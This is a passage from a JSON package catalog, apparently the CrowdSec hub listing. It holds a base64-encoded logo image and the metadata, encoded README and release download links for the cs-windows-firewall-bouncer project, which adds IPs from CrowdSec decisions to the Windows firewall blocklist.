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", "url": "https://github.com/crowdsecurity/cs-windows-firewall-bouncer", "description": "Crowdsec bouncer for the Windows Firewall", "stars": 10, "downloads": 2877, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy13aW5kb3dzLWZpcmV3YWxsLWJvdW5jZXIvcmF3L21haW4vYXNzZXRzL2xvZ28ucG5nIiBhbHQ9IkNyb3dkU2VjIiB0aXRsZT0iQ3Jvd2RTZWMiIHdpZHRoPSIzMDAiIGhlaWdodD0iMjgwIiAvPgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPgomI3gxRjREQTsgPGEgaHJlZj0iaHR0cHM6Ly9kb2NzLmNyb3dkc2VjLm5ldC9kb2NzL2JvdW5jZXJzL3dpbmRvd3NfZmlyZXdhbGwiPkRvY3VtZW50YXRpb248L2E+CiYjeDFGNEEwOyA8YSBocmVmPSJodHRwczovL2h1Yi5jcm93ZHNlYy5uZXQiPkh1YjwvYT4KJiMxMjgxNzI7IDxhIGhyZWY9Imh0dHBzOi8vZGlzY291cnNlLmNyb3dkc2VjLm5ldCI+RGlzY291cnNlIDwvYT4KPC9wPgoKCiMgV2luZG93cyBGaXJld2FsbCBCb3VuY2VyCkNyb3dkc2VjIGJvdW5jZXIgd3JpdHRlbiBpbiBnb2xhbmcgZm9yIHRoZSBXaW5kb3dzIGZpcmV3YWxsLgoKVGhlIGJvdW5jZXIgd2lsbCBmZXRjaCBuZXcgYW5kIG9sZCBkZWNpc2lvbnMgZnJvbSBhIENyb3dkU2VjIEFQSSB0byBhZGQgdGhlbSBpbiBhIGJsb2NrbGlzdCB1c2VkIGJ5IHRoZSBXaW5kb3dzIGZpcmV3YWxsLgoKIyBJbnN0YWxsYXRpb24KClBsZWFzZSBmb2xsb3cgdGhlIFtvZmZpY2lhbCBkb2N1bWVudGF0aW9uXShodHRwczovL2RvY3MuY3Jvd2RzZWMubmV0L2RvY3MvYm91bmNlcnMvd2luZG93c19maXJld2FsbCkuCg==", "status": "stable", "version": "v0.0.5", "assets": [ { "name": "cs_windows_firewall_bouncer_setup.msi", "download_url": "https://github.com/crowdsecurity/cs-windows-firewall-bouncer/releases/download/v0.0.5/cs_windows_firewall_bouncer_setup.msi", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-windows-firewall-bouncer/releases/assets/67364277" }, { "name": "cs_windows_firewall_installer_bundle.exe", "download_url": "https://github.com/crowdsecurity/cs-windows-firewall-bouncer/releases/download/v0.0.5/cs_windows_firewall_installer_bundle.exe", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-windows-firewall-bouncer/releases/assets/67364279" } ] }, { "name": "cs-haproxy-bouncer", "author": "crowdsecurity", "logo": 